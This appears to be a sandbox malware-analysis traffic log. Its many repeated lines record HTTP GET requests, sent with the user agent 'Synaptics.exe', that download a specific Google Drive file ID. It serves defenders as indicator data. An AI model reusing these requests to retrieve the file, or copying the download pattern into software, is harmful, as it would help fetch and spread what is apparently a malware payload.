Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
